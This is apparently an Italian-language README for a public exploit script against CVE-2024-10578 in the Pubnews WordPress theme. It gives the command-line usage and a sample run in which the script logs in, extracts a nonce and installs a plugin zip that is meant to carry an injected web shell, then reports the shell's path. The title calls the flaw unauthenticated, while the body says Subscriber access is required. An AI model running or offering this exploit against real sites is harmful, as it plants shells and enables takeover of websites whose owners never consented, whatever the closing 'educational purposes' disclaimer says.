
Pubnews <= 1.0.7 - Installazione arbitraria di plugin non autenticata
Il tema Pubnews per WordPress è vulnerabile all'installazione arbitraria non autorizzata di plugin a causa di una mancanza di controllo delle capacità sulla funzione pubnews_importer_plugin_action_for_notice() in tutte le versioni fino alla 1.0.7 inclusa. Questa vulnerabilità consente a attaccanti autenticati con accesso di livello Subscriber o superiore di installare plugin arbitrari che possono essere sfruttati per compromettere altre vulnerabilità.
Questo script sfrutta la vulnerabilità nel tema Pubnews per installare un plugin arbitrario da un URL fornito. Il plugin può contenere una shell malevola o qualsiasi altro payload.
CVE-2024-10578.py [-h] -u URL -un USERNAME -p PASSWORD -url_zip PLUGIN_URL
Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation # By Nxploited, Khaled alenazi
options:
-h, --help show this help message and exit
-u, --url URL The URL of the WordPress site
-un, --username USERNAME
The username for WordPress login
-p, --password PASSWORD
The password for WordPress login
-url_zip, --plugin_url PLUGIN_URL
The plugin URL to install (must be a zip file with the shell injected inside)
python
CVE-2024-10578.py -u http://target/wordpress -un admin -p admin -url_zip http://target/shell1.zip
[+] Logged in successfully.
[+] Admin _wpnonce extracted: 6bf22371ab
[+] Plugin installed successfully.
[+] Plugin extracted. You can find the shell here: /wp-content/plugins/shell1/
Questo script è inteso solo per scopi educativi. L'autore non approva l'uso di questo script per attività illegali. Usalo responsabilmente e solo su sistemi per cui hai esplicita autorizzazione al test.
Di: Nxploited | Khaled Alenazi